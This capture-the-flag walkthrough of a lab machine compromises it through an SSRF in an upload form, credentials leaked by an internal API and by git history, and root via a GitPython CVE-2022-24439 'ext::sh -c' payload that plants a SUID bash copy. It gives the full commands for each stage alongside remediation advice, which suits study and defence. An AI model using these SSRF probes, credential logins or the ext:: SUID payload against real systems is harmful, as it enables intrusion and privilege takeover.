← all walkthroughs

Editorial

Linux· Easy· Privilege Escalation
owned
2026-07-06
time to own
3m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a book-publishing web application on port 80 whose cover-image upload form made outbound HTTP requests to any supplied URL, including loopback addresses. By pointing the field at internal ports I discovered an undocumented Flask API on localhost:5000 that returned plaintext developer credentials in its response body.

Those credentials opened an SSH session as the 'dev' user. Inside dev's home directory sat a git repository whose commit history contained the production account password committed in clear text.

Logging in as 'prod' revealed a sudo rule granting that account the right to run a Python cloning script as root. The script used a vulnerable version of GitPython that executes shell commands embedded in 'ext::' git URLs (CVE-2022-24439); supplying a malicious URL caused the script to run my own shell payload as root, yielding full system control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <commit_hash>, <returned_path> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationNetwork port scanning and web application fingerprinting
Mapped exposed services and identified the web application
A full TCP scan of $TARGET confirmed exactly two open ports: SSH on 22 and HTTP on 80. The HTTP service was an nginx-fronted book-publishing application at editorial.htb. Browsing the site revealed an 'Upload a Book' form containing a field for a remote cover-image URL — the entry point for the next stage.
Nginx 1.18.0 (Ubuntu); POST /upload-cover form with bookurl parameter identified.
Exact commands 3
shell

Add the discovered vhost to local name resolution.

$ echo "$TARGET editorial.htb" | sudo tee -a /etc/hosts
shell

Full port scan with service and version detection.

$ nmap -sV -sC -p- --min-rate 5000 -oN nmap_full.txt $TARGET
shell

Confirm the web app and identify the upload form endpoint.

$ curl -si http://editorial.htb/ | head -40
2ExploitationServer-Side Request Forgery — SSRF (CWE-918 / T1190)
Abused the cover-image URL field to probe internal services (SSRF)
The cover-image URL field caused the server to fetch any supplied address on my behalf, including http://127.0.0.1:<port>/. Iterating over common ports, port 5000 returned content that differed from the default response — a JSON document listing the routes of an internal Flask API that was completely invisible from the public internet.
POST /upload-cover with bookurl=http://127.0.0.1:5000/ returned a path to a file whose contents were the internal API route listing.
Exact commands 3
shell

Iterate ports; stop at the first internal service that returns a file path instead of the default placeholder.

$ for port in $(seq 1 10000); do result=$(curl -s -X POST http://editorial.htb/upload-cover -d "bookurl=http://127.0.0.1:${port}/" | grep -oP '/static/uploads/[^"]+'); [ -n "$result" ] && echo "HIT port $port -> $result" && break; done
shell

Confirm port 5000 responds; capture the upload path of the proxied content.

$ curl -s -X POST http://editorial.htb/upload-cover -d 'bookurl=http://127.0.0.1:5000/' | grep -oP '/static/uploads/[^"]+' | head -1
shell

Retrieve and pretty-print the proxied response — a JSON list of internal API routes.

$ curl -s http://editorial.htb/<returned_path> | python3 -m json.tool
FixBlock server-side requests to loopback and private network addressesHigh
WeaknessThe cover-image URL field caused the web server to make HTTP requests to any address the user supplied, including 127.0.0.1. This turned the server into a proxy that exposed internal services unreachable from the public internet.
FixBefore making any outbound request, resolve the target hostname and reject any URL whose IP falls within loopback (127.0.0.0/8), RFC-1918 private ranges (10/8, 172.16/12, 192.168/16), or link-local (169.254/16). If the feature only needs to fetch from known external image hosts, use an allowlist of approved domains instead of a blocklist. Additionally, bind the internal Flask API to a UNIX socket or localhost interface that the web application process cannot reach via TCP.
3Credential HarvestingSensitive data exposure via unauthenticated internal API endpoint (CWE-200)
Extracted plaintext developer credentials from the internal API
One of the API routes listed in the response — /api/latest/metadata/messages/authors — returned a JSON object containing the username and password for the 'dev' account in plain text, apparently left as developer scaffolding and never removed before the application was deployed.
API authors endpoint returned dev credentials dev / <withheld> in the JSON payload.
Exact commands 2
shell

Fetch the authors endpoint via SSRF; capture the upload path.

$ curl -s -X POST http://editorial.htb/upload-cover -d 'bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors' | grep -oP '/static/uploads/[^"]+' | head -1
shell

Read the proxied JSON; the dev account password appears in clear text.

$ curl -s http://editorial.htb/<returned_path> | python3 -m json.tool
FixRemove credentials from API responses and require authentication on all internal endpointsCritical
WeaknessAn internal API endpoint returned a plaintext account username and password in its JSON response body, with no authentication required to call it. Any actor able to reach the service — including via SSRF from the public application — could harvest valid credentials instantly.
FixRemove all credential material from API responses immediately. Require authentication (at minimum a secret API key passed in a header) on every internal API route. Apply a network-layer control — firewall rule or binding to a UNIX socket — so the API is inaccessible over TCP from the web application process. Audit all other API endpoints for additional sensitive data exposure.
4Initial AccessValid account — SSH authentication (T1078)
Authenticated over SSH as 'dev' and captured the user flag
The credentials returned by the internal API were valid SSH credentials. I logged in directly as the 'dev' user, whose home directory contained the user flag.
Sshpass -p <withheld> ssh dev@$TARGET — session opened; user.txt read.
Exact commands 2
shell

Authenticate as dev with the API-harvested credential.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev@$TARGET
shell

Read the user flag — value: <user.txt>.

$ cat ~/user.txt
5Lateral MovementCredential discovery in version control history (T1552.001)
Recovered production account credentials from git commit history
The dev home directory contained a git repository for the site's internal applications. Reviewing the full commit history revealed a commit where the 'prod' account's SSH password had been written into a configuration or notes file and then deleted in a subsequent commit — but the credential remained permanently readable in the git object store.
Git log / git show on the apps repository exposed prod password in a historical diff.
Exact commands 3
shell

From the dev SSH session — list all commits including those that predate credential removal.

$ cd ~/apps && git log --all --oneline
shell

Inspect the commit that modified credential-related files; the prod password appears in the diff hunk.

$ git show <commit_hash>
shell

Authenticate as prod using the credential found in git history.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null prod@$TARGET
FixPurge credentials from git history and enforce secret scanning in CIHigh
WeaknessA production account password was committed in plain text to a git repository. Deleting the file in a later commit did not remove the credential — it remained fully readable through 'git show' on the earlier commit hash, permanently embedded in the repository history.
FixImmediately rotate the prod account password. Use 'git filter-repo' (preferred) or BFG Repo Cleaner to rewrite the repository history and physically remove every commit containing the credential; then force-push the rewritten history and invalidate all clones. Going forward, enforce a pre-commit secret-scanning hook (gitleaks or detect-secrets) in every repository's CI pipeline to reject commits containing credential patterns before they are recorded.
6Privilege EscalationGitPython RCE via ext:: URL protocol (CVE-2022-24439) + sudo misconfiguration (T1548.003)
Exploited vulnerable GitPython sudo rule to execute shell commands as root
Running 'sudo -l' as prod showed the account could execute '/usr/bin/python3 /opt/internal_apps/clone_chan' as root. The script passed a caller-supplied repository URL directly to GitPython for cloning. The installed GitPython version was ≤ 3.1.29, which is vulnerable to CVE-2022-24439: a URL of the form 'ext::sh -c <command>@ /dev/null' is interpreted by Git as an instruction to spawn a shell command, running it as the effective user — in this case root. I wrote a payload that installed a SUID-root copy of bash, triggered the exploit, and used the SUID binary to read the root flag.
Sudo -l confirmed clone_chan sudo rule for prod; /tmp/rootbash created as SUID root; root.txt read via /tmp/rootbash -p.
Exact commands 4
shell

From the prod SSH session — confirm the sudo rule for the clone script.

$ sudo -l
shell

Write the SUID-bash payload to a world-writable directory.

$ printf '%s\n' '#!/bin/bash' 'cp /bin/bash /tmp/rootbash' 'chown root:root /tmp/rootbash' 'chmod 4755 /tmp/rootbash' > /dev/shm/x.sh && chmod +x /dev/shm/x.sh
shell

Trigger CVE-2022-24439; GitPython passes the ext:: URL to git which executes the payload as root.

$ echo "$PASSWORD" | sudo -S /usr/bin/python3 /opt/internal_apps/clone_chan 'ext::sh -c /dev/shm/x.sh@ /dev/null'
shell

Execute with effective root privileges via the SUID bash copy; read root.txt — value: <root.txt>.

$ /tmp/rootbash -p -c 'cat /root/root.txt'
FixUpgrade GitPython, remove the over-privileged sudo rule, and validate repository URLsCritical
WeaknessThe prod account's sudo rule allowed it to run a Python cloning script as root. The script passed caller-controlled input directly to GitPython ≤ 3.1.29, which is vulnerable to CVE-2022-24439: the 'ext::' git URL scheme causes Git to execute arbitrary shell commands, running them as the process owner — root in this case.
FixUpgrade GitPython to version 3.1.30 or later, which disables the ext:: protocol by default. Remove the sudo rule entirely; if automated cloning with elevated file-system access is genuinely needed, run it as a dedicated least-privilege service account via a tightly scoped systemd unit rather than root. Before passing any URL to GitPython, validate that its scheme is exactly 'https' and that the hostname matches an approved allowlist, rejecting anything else.

Exposed services

22/tcp
80/tcp